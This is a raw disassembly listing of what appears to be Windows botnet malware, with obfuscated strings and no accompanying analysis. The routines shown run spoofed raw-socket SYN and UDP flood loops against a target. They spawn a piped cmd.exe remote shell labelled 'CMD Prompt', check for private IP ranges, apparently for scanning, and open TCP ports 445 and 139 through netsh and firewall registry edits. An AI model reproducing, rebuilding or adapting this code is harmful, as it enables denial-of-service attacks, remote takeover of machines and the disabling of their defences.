var_C8 = dword ptr -0C8h
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = byte ptr -68h
var_66 = word ptr -66h
var_64 = word ptr -64h
var_62 = word ptr -62h
var_60 = byte ptr -60h
var_5F = byte ptr -5Fh
var_5E = word ptr -5Eh
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = word ptr -54h
var_52 = word ptr -52h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = word ptr -48h
var_46 = word ptr -46h
var_42 = word ptr -42h
var_40 = word ptr -40h
var_3E = word ptr -3Eh
var_3C = word ptr -3Ch
var_3A = word ptr -3Ah
var_38 = word ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_2E = word ptr -2Eh
var_2C = word ptr -2Ch
var_2A = word ptr -2Ah
var_28 = byte ptr -28h
var_1F = byte ptr -1Fh
var_1E = byte ptr -1Eh
var_1D = byte ptr -1Dh
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 248h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ch
mov esi, eax
pop ecx
lea edi, [ebp+var_248]
rep movsd
xor ecx, ecx
push 2
inc ecx
pop edx
mov [eax+12Ch], ecx
mov eax, [ebp+var_248]
push 4
mov [ebp+var_4], eax
pop eax
xor ebx, ebx
push 3
mov [ebp+var_BC], edx
pop esi
mov [ebp+var_B8], eax
push ebx
mov [ebp+var_B4], 5
mov [ebp+var_B0], 0B4h
mov [ebp+var_AC], eax
mov [ebp+var_A8], edx
mov [ebp+var_A4], 8
mov [ebp+var_A0], 0Ah
mov [ebp+var_9C], ebx
mov [ebp+var_98], ebx
mov [ebp+var_94], ebx
mov [ebp+var_90], ebx
mov [ebp+var_8C], ebx
mov [ebp+var_88], ebx
mov [ebp+var_84], ebx
mov [ebp+var_80], ebx
mov [ebp+var_7C], ecx
mov [ebp+var_78], esi
mov [ebp+var_74], esi
mov [ebp+var_70], ebx
mov [ebp+arg_0], ebx
call sub_42A705
mov [ebp+var_14], eax
pop ecx
lea eax, [ebp+var_1C0]
push eax
call dword_4372A0
mov eax, [eax+0Ch]
push 0FFh
push esi
push 2
mov eax, [eax]
mov edi, [eax]
call dword_4372B8
cmp eax, ebx
mov [ebp+var_C], eax
jge short loc_41DF0F
cmp [ebp+var_124], ebx
mov edi, dword_43716C
mov esi, offset aYhzck13caog0 ; "YhzCK13CaOG0"
jnz short loc_41DECB
cmp [ebp+var_128], ebx
jnz short loc_41DED3
call edi ; dword_43716C
push eax
push offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A."
push esi
lea eax, [ebp+var_240]
push offset aSSD ; "%s %s <%d>"
push eax
push [ebp+var_4]
call sub_41CD84
add esp, 18h
loc_41DECB: ; CODE XREF: sub_41DDA8+F9j
cmp [ebp+var_128], ebx
jz short loc_41DEF3
loc_41DED3: ; CODE XREF: sub_41DDA8+101j
call edi ; dword_43716C
push eax
push offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A."
push esi
lea eax, [ebp+var_240]
push offset aSSD ; "%s %s <%d>"
push eax
push [ebp+var_4]
call sub_41CD0E
add esp, 18h
loc_41DEF3: ; CODE XREF: sub_41DDA8+129j
push [ebp+var_C]
call dword_4372D4
push [ebp+var_12C]
call sub_42355A
pop ecx
push ebx
call dword_437170 ; ExitThread
loc_41DF0F: ; CODE XREF: sub_41DDA8+E6j
xor eax, eax
loc_41DF11: ; CODE XREF: sub_41DDA8+178j
mov cl, byte ptr [ebp+eax*4+var_BC]
mov [ebp+eax+var_28], cl
inc eax
cmp eax, 14h
jl short loc_41DF11
mov eax, [ebp+var_6C]
push [ebp+var_134]
mov esi, dword_4372C0
and al, 45h
or al, 45h
mov [ebp+var_68], 10h
mov [ebp+var_6C], eax
mov [ebp+var_62], 40h
mov [ebp+var_60], 40h
mov [ebp+var_5F], 6
mov [ebp+var_4C], ebx
mov [ebp+var_46], 0Ah
mov [ebp+var_48], bx
mov [ebp+var_32], bx
mov [ebp+var_34], bx
mov [ebp+var_38], bx
mov [ebp+var_3A], bx
mov [ebp+var_3C], bx
mov [ebp+var_3E], bx
mov [ebp+var_42], bx
mov [ebp+var_40], 1
mov [ebp+var_2E], 787Dh
mov [ebp+var_2A], bx
call esi ; dword_4372C0
movzx eax, ax
mov [ebp+var_8], eax
loc_41DF8B: ; CODE XREF: sub_41DDA8+351j
call sub_429ACC
cdq
mov ecx, 0FFh
and edi, 0FFFFFFh
idiv ecx
shl edx, 18h
or edi, edx
cmp [ebp+var_134], ebx
jnz short loc_41DFB3
call sub_429ACC
mov [ebp+var_8], eax
loc_41DFB3: ; CODE XREF: sub_41DDA8+201j
push 3Ch
call esi ; dword_4372C0
mov [ebp+var_66], ax
call sub_429ACC
mov [ebp+var_64], ax
lea eax, [ebp+var_1C0]
push eax
mov [ebp+var_5C], edi
call sub_41E326
mov [ebp+var_58], eax
mov [ebp+var_5E], bx
call sub_429ACC
mov [ebp+var_54], ax
mov ax, word ptr [ebp+var_8]
mov [ebp+var_52], ax
call sub_429ACC
mov [ebp+var_50], eax
mov ax, word ptr [ebp+var_8]
mov [ebp+var_CA], ax
lea eax, [ebp+var_1C0]
push eax
mov [ebp+var_2C], bx
mov [ebp+var_CC], 2
call sub_41E326
mov [ebp+var_C8], eax
lea eax, [ebp+var_6C]
push 14h
push eax
call sub_41E322
mov [ebp+var_5E], ax
call sub_429ACC
mov [ebp+var_10], eax
mov [ebp+var_1F], al
mov al, byte ptr [ebp+var_10+2]
mov [ebp+var_1E], ah
mov [ebp+var_1D], al
mov al, byte ptr [ebp+var_10+3]
mov [ebp+var_1C], al
lea eax, [ebp+var_1C0]
push eax
mov [ebp+var_118], edi
call sub_41E326
add esp, 14h
mov [ebp+var_114], eax
mov [ebp+var_110], bl
mov [ebp+var_10F], 6
push 28h
call esi ; dword_4372C0
mov [ebp+var_10E], ax
lea eax, [ebp+var_10C]
push 14h
push eax
lea eax, [ebp+var_54]
push eax
call sub_429350
lea eax, [ebp+var_E0]
push 14h
push eax
lea eax, [ebp+var_28]
push eax
call sub_429350
lea eax, [ebp+var_118]
push 34h
push eax
call sub_41E322
add esp, 20h
mov [ebp+var_2C], ax
lea eax, [ebp+var_CC]
push 10h
push eax
push ebx
lea eax, [ebp+var_6C]
push 3Ch
push eax
push [ebp+var_C]
call dword_437290
cmp [ebp+arg_0], 32h
jb short loc_41E0EA
push ebx
call sub_42A705
mov edx, [ebp+var_14]
pop ecx
mov ecx, [ebp+var_130]
add ecx, edx
cmp eax, ecx
jge short loc_41E0FE
mov [ebp+arg_0], ebx
loc_41E0EA: ; CODE XREF: sub_41DDA8+327j
push [ebp+var_138]
inc [ebp+arg_0]
call dword_43718C ; Sleep
jmp loc_41DF8B
; ---------------------------------------------------------------------------
loc_41E0FE: ; CODE XREF: sub_41DDA8+33Dj
push [ebp+var_C]
call dword_4372D4
cmp [ebp+var_124], ebx
mov esi, offset aYhzck13caog0 ; "YhzCK13CaOG0"
mov edi, offset aSSS_2 ; "%s %s -> %s"
jnz short loc_41E141
cmp [ebp+var_128], ebx
jnz short loc_41E149
lea eax, [ebp+var_1C0]
push eax
push offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
push esi
lea eax, [ebp+var_240]
push edi
push eax
push [ebp+var_4]
call sub_41CD84
add esp, 18h
loc_41E141: ; CODE XREF: sub_41DDA8+36Fj
cmp [ebp+var_128], ebx
jz short loc_41E169
loc_41E149: ; CODE XREF: sub_41DDA8+377j
lea eax, [ebp+var_1C0]
push eax
push offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
push esi
lea eax, [ebp+var_240]
push edi
push eax
push [ebp+var_4]
call sub_41CD0E
add esp, 18h
loc_41E169: ; CODE XREF: sub_41DDA8+39Fj
push [ebp+var_12C]
call sub_42355A
pop ecx
push ebx
call dword_437170 ; ExitThread
sub_41DDA8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E17C proc near ; DATA XREF: sub_40A938+74FDo
var_15C = dword ptr -15Ch
var_154 = byte ptr -154h
var_D4 = byte ptr -0D4h
var_4C = dword ptr -4Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = word ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 15Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ch
mov esi, eax
pop ecx
lea edi, [ebp+var_15C]
rep movsd
xor edi, edi
mov ebx, 2400h
inc edi
xor esi, esi
mov [eax+12Ch], edi
mov eax, [ebp+var_15C]
push ebx
mov [ebp+var_10], eax
mov [ebp+var_8], edi
mov [ebp+arg_0], esi
call sub_4296E8
push esi
mov [ebp+var_14], eax
call sub_42A705
mov [ebp+var_18], eax
mov eax, [ebp+var_44]
mov [ebp+var_1C], eax
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_429690
lea eax, [ebp+var_D4]
push eax
call sub_41E326
mov esi, dword_437184
add esp, 18h
mov [ebp+var_28], eax
mov [ebp+var_2C], 2
call esi ; dword_437184
mov [ebp+var_C], eax
jmp short loc_41E27F
; ---------------------------------------------------------------------------
loc_41E200: ; CODE XREF: sub_41E17C+114j
call sub_429ACC
push 11h
push 2
push 2
mov [ebp+var_2A], ax
call dword_4372B8
test eax, eax
mov [ebp+var_4], eax
jl loc_41E309
lea ecx, [ebp+var_8]
push 4
push ecx
push 8004667Eh
push 11h
push eax
mov [ebp+var_8], edi
call dword_437288
lea eax, [ebp+var_2C]
push 10h
push eax
push 0
push ebx
push [ebp+var_14]
push [ebp+var_4]
call dword_437290
push [ebp+var_4]
call sub_42F0D0
cmp [ebp+arg_0], 32h
pop ecx
jl short loc_41E273
push 0
call sub_42A705
mov edx, [ebp+var_18]
pop ecx
mov ecx, [ebp+var_1C]
add ecx, edx
cmp eax, ecx
jnb short loc_41E296
and [ebp+arg_0], 0
loc_41E273: ; CODE XREF: sub_41E17C+DDj
push [ebp+var_4C]
inc [ebp+arg_0]
call dword_43718C ; Sleep
loc_41E27F: ; CODE XREF: sub_41E17C+82j
call esi ; dword_437184
sub eax, [ebp+var_C]
mov ecx, 3E8h
xor edx, edx
div ecx
cmp eax, [ebp+var_44]
jbe loc_41E200
loc_41E296: ; CODE XREF: sub_41E17C+F1j
push [ebp+var_4]
call sub_42F0D0
cmp [ebp+var_38], 0
pop ecx
mov ebx, offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
mov edi, offset aYhzck13caog0 ; "YhzCK13CaOG0"
mov esi, offset aSSS_2 ; "%s %s -> %s"
jnz short loc_41E2D6
cmp [ebp+var_3C], 0
jnz short loc_41E2DC
lea eax, [ebp+var_D4]
push eax
push ebx
push edi
lea eax, [ebp+var_154]
push esi
push eax
push [ebp+var_10]
call sub_41CD84
add esp, 18h
loc_41E2D6: ; CODE XREF: sub_41E17C+136j
cmp [ebp+var_3C], 0
jz short loc_41E2F8
loc_41E2DC: ; CODE XREF: sub_41E17C+13Cj
lea eax, [ebp+var_D4]
push eax
push ebx
push edi
lea eax, [ebp+var_154]
push esi
push eax
push [ebp+var_10]
call sub_41CD0E
add esp, 18h
loc_41E2F8: ; CODE XREF: sub_41E17C+15Ej
push [ebp+var_40]
call sub_42355A
pop ecx
push 0
call dword_437170 ; ExitThread
loc_41E309: ; CODE XREF: sub_41E17C+9Ej
push eax
call dword_4372D4
push [ebp+var_40]
call sub_42355A
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_41E17C endp
; =============== S U B R O U T I N E =======================================
sub_41E322 proc near ; CODE XREF: sub_41DDA8+27Bp
; sub_41DDA8+2FEp ...
xor ax, ax
retn
sub_41E322 endp
; =============== S U B R O U T I N E =======================================
sub_41E326 proc near ; CODE XREF: ?9:00403D7Ep
; sub_4044F6+89p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_456F5C ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_41E34E
push [esp+arg_0]
call dword_456FB4 ; gethostbyname
test eax, eax
jnz short loc_41E347
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41E347: ; CODE XREF: sub_41E326+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_41E34E: ; CODE XREF: sub_41E326+Dj
retn
sub_41E326 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E34F proc near ; CODE XREF: sub_4020AA+55p
; ?9:00403E11p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call sub_429ACC
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
inc eax
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_437340
call sub_42A910
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_41E34F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E380 proc near ; DATA XREF: sub_420CC8+4Co
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push 2
push [ebp+arg_0]
lea eax, [ebp+var_8]
push eax
call sub_4276B6
mov esi, offset a@_6 ; "@"
push esi
push [ebp+var_4]
call sub_429B8E
push esi
push 0
call sub_429B8E
push eax
call sub_41E326
add esp, 20h
mov [ebp+arg_0], eax
push eax
call dword_456FBC ; inet_ntoa
push eax
push offset dword_457C20
call dword_4370A4 ; lstrcpyA
push 2
lea eax, [ebp+arg_0]
push 4
push eax
call dword_456EB8 ; gethostbyaddr
pop esi
test eax, eax
push 9Fh
jz short loc_41E3E5
push dword ptr [eax]
jmp short loc_41E3EA
; ---------------------------------------------------------------------------
loc_41E3E5: ; CODE XREF: sub_41E380+5Fj
push offset aCouldnTResolve ; "Couldn't resolve"
loc_41E3EA: ; CODE XREF: sub_41E380+63j
push offset dword_457C38
call sub_429C40
add esp, 0Ch
xor eax, eax
leave
retn
sub_41E380 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E3FB proc near ; CODE XREF: sub_401B6E+155p
; sub_4063FA+F1p ...
var_30 = byte ptr -30h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 30h
cmp [ebp+arg_0], 0
push ebx
push esi
push edi
jz loc_41E4CA
mov esi, dword_437174
push offset byte_454A34
push [ebp+arg_0]
call esi ; dword_437174
test eax, eax
jz loc_41E4CA
push 20h
lea eax, [ebp+var_30]
push [ebp+arg_0]
push eax
call sub_429C40
mov edi, offset dword_43AB8C
lea eax, [ebp+var_30]
push edi
push eax
call sub_429B8E
add esp, 14h
mov [ebp+var_10], eax
test eax, eax
jz short loc_41E4CA
xor ebx, ebx
inc ebx
loc_41E450: ; CODE XREF: sub_41E3FB+6Bj
push edi
push 0
call sub_429B8E
pop ecx
mov [ebp+ebx*4+var_10], eax
test eax, eax
pop ecx
jz short loc_41E4CA
inc ebx
cmp ebx, 4
jl short loc_41E450
mov edi, [ebp+var_10]
push offset a10 ; "10"
push edi
call esi ; dword_437174
test eax, eax
jz short loc_41E4C5
push offset a172 ; "172"
push edi
call esi ; dword_437174
test eax, eax
jnz short loc_41E491
push offset a16 ; "16"
push [ebp+var_C]
call esi ; dword_437174
test eax, eax
jz short loc_41E4C5
loc_41E491: ; CODE XREF: sub_41E3FB+86j
push offset a192 ; "192"
push edi
call esi ; dword_437174
test eax, eax
jnz short loc_41E4AB
push offset a168 ; "168"
push [ebp+var_C]
call esi ; dword_437174
test eax, eax
jz short loc_41E4C5
loc_41E4AB: ; CODE XREF: sub_41E3FB+A0j
push offset a90 ; "90"
push edi
call esi ; dword_437174
test eax, eax
jnz short loc_41E4CA
push offset dword_43A30C
push [ebp+var_C]
call esi ; dword_437174
test eax, eax
jnz short loc_41E4CA
loc_41E4C5: ; CODE XREF: sub_41E3FB+7Aj
; sub_41E3FB+94j ...
xor eax, eax
inc eax
jmp short loc_41E4CC
; ---------------------------------------------------------------------------
loc_41E4CA: ; CODE XREF: sub_41E3FB+Dj
; sub_41E3FB+25j ...
xor eax, eax
loc_41E4CC: ; CODE XREF: sub_41E3FB+CDj
pop edi
pop esi
pop ebx
leave
retn
sub_41E3FB endp
; =============== S U B R O U T I N E =======================================
sub_41E4D1 proc near ; CODE XREF: sub_41E501+2Ap
; sub_41E539+59p ...
mov eax, dword_4586D4
push esi
mov esi, dword_437044
cmp eax, 0FFFFFFFFh
jz short loc_41E4E5
push eax
call esi ; dword_437044
loc_41E4E5: ; CODE XREF: sub_41E4D1+Fj
mov eax, dword_4586DC
cmp eax, 0FFFFFFFFh
jz short loc_41E4F2
push eax
call esi ; dword_437044
loc_41E4F2: ; CODE XREF: sub_41E4D1+1Cj
mov eax, dword_4586D0
cmp eax, 0FFFFFFFFh
jz short loc_41E4FF
push eax
call esi ; dword_437044
loc_41E4FF: ; CODE XREF: sub_41E4D1+29j
pop esi
retn
sub_41E4D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E501 proc near ; CODE XREF: sub_40A938+48E4p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_4292D0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_4586D8
call dword_437078 ; WriteFile
test eax, eax
jnz short loc_41E534
call sub_41E4D1
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_41E534: ; CODE XREF: sub_41E501+28j
xor eax, eax
inc eax
leave
retn
sub_41E501 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E539 proc near ; CODE XREF: sub_41E59B+DBp
; sub_41E59B+FAp ...
var_2710 = byte ptr -2710h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 2710h
call sub_429A90
push offset byte_454A34
push [ebp+arg_0]
call dword_4370EC ; lstrcmpA
test eax, eax
jz short loc_41E57B
push 3E8h
call dword_43718C ; Sleep
push [ebp+arg_8]
push offset aS_5 ; "%s"
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41CD84
add esp, 10h
jmp short loc_41E597
; ---------------------------------------------------------------------------
loc_41E57B: ; CODE XREF: sub_41E539+1Dj
push [ebp+arg_8]
lea eax, [ebp+var_2710]
push offset aS_5 ; "%s"
push eax
call sub_429A33
add esp, 0Ch
call sub_41E4D1
loc_41E597: ; CODE XREF: sub_41E539+40j
xor eax, eax
leave
retn
sub_41E539 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E59B proc near ; DATA XREF: sub_41E6F8+177o
var_271C = byte ptr -271Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 271Ch
call sub_429A90
push ebx
push esi
push edi
mov esi, 2710h
xor edi, edi
mov ebx, offset dword_4586F4
loc_41E5B7: ; CODE XREF: sub_41E59B+7Dj
; sub_41E59B+E3j
push esi
lea eax, [ebp+var_271C]
push edi
push eax
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_271C]
push esi
push eax
push dword_4586D4
call dword_4370F4 ; PeekNamedPipe
test eax, eax
jz loc_41E689
cmp [ebp+var_4], edi
jnz short loc_41E61A
lea eax, [ebp+var_8]
push eax
push dword_4586D0
call dword_4370F0 ; GetExitCodeProcess
test eax, eax
jz short loc_41E610
cmp [ebp+var_8], 103h
jnz loc_41E6AD
loc_41E610: ; CODE XREF: sub_41E59B+66j
push 0Ah
call dword_43718C ; Sleep
jmp short loc_41E5B7
; ---------------------------------------------------------------------------
loc_41E61A: ; CODE XREF: sub_41E59B+52j
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_41E631
loc_41E621: ; CODE XREF: sub_41E59B+94j
cmp [ebp+eax+var_271C], 0Ah
jz short loc_41E683
inc eax
cmp eax, [ebp+var_4]
jb short loc_41E621
loc_41E631: ; CODE XREF: sub_41E59B+84j
mov [ebp+var_4], 200h
loc_41E638: ; CODE XREF: sub_41E59B+ECj
push esi
lea eax, [ebp+var_271C]
push edi
push eax
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_271C]
push eax
push dword_4586D4
call dword_437084 ; ReadFile
test eax, eax
jz short loc_41E6D5
lea eax, [ebp+var_271C]
push eax
push dword_4586E0
push ebx
call sub_41E539
add esp, 0Ch
jmp loc_41E5B7
; ---------------------------------------------------------------------------
loc_41E683: ; CODE XREF: sub_41E59B+8Ej
inc eax
mov [ebp+var_4], eax
jmp short loc_41E638
; ---------------------------------------------------------------------------
loc_41E689: ; CODE XREF: sub_41E59B+49j
push offset aCouldNotReadDa ; "Could not read data from proccess.\r\n"
push dword_4586E0
push ebx
call sub_41E539
push [ebp+arg_0]
call sub_42355A
add esp, 10h
push 1
call dword_437170 ; ExitThread
loc_41E6AD: ; CODE XREF: sub_41E59B+6Fj
call sub_41E4D1
push offset aProccessHasTer ; "Proccess has terminated.\r\n"
push dword_4586E0
push ebx
call sub_41E539
push [ebp+arg_0]
call sub_42355A
add esp, 10h
push edi
call dword_437170 ; ExitThread
loc_41E6D5: ; CODE XREF: sub_41E59B+CBj
push offset aCouldNotReadDa ; "Could not read data from proccess.\r\n"
push dword_4586E0
push ebx
call sub_41E539
push [ebp+arg_0]
call sub_42355A
add esp, 10h
push edi
call dword_437170 ; ExitThread
sub_41E59B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E6F8 proc near ; CODE XREF: sub_40A938+4777p
var_2884 = byte ptr -2884h
var_174 = byte ptr -174h
var_70 = dword ptr -70h
var_44 = dword ptr -44h
var_40 = word ptr -40h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2884h
call sub_429A90
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
mov dword_4586E0, eax
call sub_41E4D1
xor esi, esi
lea eax, [ebp+var_174]
push esi
push eax
push 104h
mov edi, offset aCmd_exe ; "cmd.exe"
push esi
push edi
push esi
call dword_457000 ; SearchPathA
test eax, eax
jz loc_41E7F8
lea eax, [ebp+var_18]
mov ebx, dword_4370FC
push esi
push eax
lea eax, [ebp+var_8]
mov [ebp+var_18], 0Ch
push eax
lea eax, [ebp+var_C]
push eax
mov [ebp+var_10], 1
mov [ebp+var_14], esi
call ebx ; dword_4370FC
test eax, eax
jz loc_41E7F8
lea eax, [ebp+var_18]
push esi
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+arg_4]
push eax
call ebx ; dword_4370FC
test eax, eax
jz short loc_41E7F8
mov ebx, dword_43704C
push 3
push esi
push esi
push offset dword_4586D8
call ebx ; dword_43704C
push eax
push [ebp+var_4]
call ebx ; dword_43704C
push eax
call dword_4370F8 ; DuplicateHandle
test eax, eax
jz short loc_41E7F8
push 10h
lea eax, [ebp+var_28]
push esi
push eax
call sub_429690
push 44h
lea eax, [ebp+var_70]
pop ebx
push ebx
push esi
push eax
call sub_429690
mov eax, [ebp+arg_4]
add esp, 18h
mov [ebp+var_38], eax
mov eax, [ebp+var_8]
mov [ebp+var_34], eax
mov [ebp+var_30], eax
lea eax, [ebp+var_28]
mov [ebp+var_70], ebx
push eax
lea eax, [ebp+var_70]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
lea eax, [ebp+var_174]
push edi
push eax
mov [ebp+var_44], 101h
mov [ebp+var_40], si
call dword_437188 ; CreateProcessA
test eax, eax
jnz short loc_41E800
loc_41E7F8: ; CODE XREF: sub_41E6F8+3Cj
; sub_41E6F8+6Aj ...
or eax, 0FFFFFFFFh
jmp loc_41E8A4
; ---------------------------------------------------------------------------
loc_41E800: ; CODE XREF: sub_41E6F8+FEj
push [ebp+arg_4]
mov edi, dword_437044
call edi ; dword_437044
mov eax, [ebp+var_C]
push [ebp+var_24]
mov dword_4586D4, eax
mov eax, [ebp+var_4]
mov dword_4586DC, eax
mov eax, [ebp+var_28]
mov dword_4586D0, eax
call edi ; dword_437044
cmp [ebp+arg_0], esi
jz short loc_41E832
push [ebp+arg_0]
jmp short loc_41E837
; ---------------------------------------------------------------------------
loc_41E832: ; CODE XREF: sub_41E6F8+133j
push offset byte_454A34
loc_41E837: ; CODE XREF: sub_41E6F8+138j
push offset dword_4586F4
call sub_429A33
pop ecx
mov ebx, offset aWhdag1glagf_ ; "WHdAg1glAgf."
pop ecx
push ebx
push offset aSCmdPrompt ; "%s CMD Prompt"
push 0Fh
call sub_4233DE
mov edi, eax
mov ecx, [ebp+var_20]
imul edi, 2724h
add esp, 0Ch
mov dword_46D708[edi], ecx
lea ecx, [ebp+var_2C]
push ecx
push esi
push eax
push offset sub_41E59B
push esi
push esi
call dword_43717C ; CreateThread
cmp eax, esi
mov dword_46D70C[edi], eax
jnz short loc_41E8A2
call dword_43716C ; RtlGetLastWin32Error
push eax
push ebx
lea eax, [ebp+var_2884]
push offset aSFailedToStart ; "%s Failed to start IO thread, error: <%"...
push eax
call sub_429A33
add esp, 10h
loc_41E8A2: ; CODE XREF: sub_41E6F8+18Cj
xor eax, eax
loc_41E8A4: ; CODE XREF: sub_41E6F8+103j
pop edi
pop esi
pop ebx
leave
retn
sub_41E6F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E8A9 proc near ; CODE XREF: sub_418EDB+535p
var_404 = byte ptr -404h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
mov esi, offset dword_443990
push edi
lea eax, [ebp+var_404]
push esi
push eax
call dword_4370A4 ; lstrcpyA
lea eax, [ebp+var_404]
push offset aEnabled ; ":*:Enabled:"
push eax
call sub_42A510
lea eax, [ebp+var_404]
push offset aSystem_0 ; "SYSTEM"
push eax
call sub_42A510
mov edi, dword_437004
add esp, 10h
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push 0
push offset aSystemCurren_4 ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
push 80000002h
call edi ; dword_437004
lea eax, [ebp+var_404]
push eax
call sub_4292D0
pop ecx
mov ebx, dword_437008
push eax
lea eax, [ebp+var_404]
push eax
push 1
push 0
push esi
push [ebp+var_4]
call ebx ; dword_437008
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push 0
push offset aSystemCurren_5 ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
push 80000002h
call edi ; dword_437004
lea eax, [ebp+var_404]
push eax
call sub_4292D0
pop ecx
push eax
lea eax, [ebp+var_404]
push eax
push 1
push 0
push esi
push [ebp+var_4]
call ebx ; dword_437008
pop edi
pop esi
pop ebx
leave
retn
sub_41E8A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41E96A proc near ; DATA XREF: sub_418EDB+541o
var_A0 = byte ptr -0A0h
var_88 = byte ptr -88h
var_78 = byte ptr -78h
arg_D0 = byte ptr 0D4h
arg_2B8 = byte ptr 2BCh
arg_4A0 = byte ptr 4A4h
arg_700 = byte ptr 704h
arg_8E8 = byte ptr 8ECh
arg_A78 = byte ptr 0A7Ch
arg_E60 = byte ptr 0E64h
mov eax, 1304h
call sub_429A90
push ebx
push ebp
push esi
push edi
push offset aFirewallSetP_0 ; "firewall set portopening TCP 445 NB"
lea eax, [esp+14h+arg_700]
push 200h
push eax
call sub_429AEE
add esp, 0Ch
mov esi, dword_43725C
xor ebp, ebp
lea eax, [esp+10h+arg_700]
push ebp
push ebp
mov ebx, offset aNetsh ; "netsh"
push eax
mov edi, offset aOpen ; "open"
push ebx
push edi
push ebp
call esi ; dword_43725C
push offset aFirewallSetP_1 ; "firewall set portopening TCP 139 NB"
lea eax, [esp+2Ch+arg_8E8]
push 200h
push eax
call sub_429AEE
add esp, 0Ch
lea eax, [esp+28h+arg_8E8]
push ebp
push ebp
push eax
push ebx
push edi
push ebp
call esi ; dword_43725C
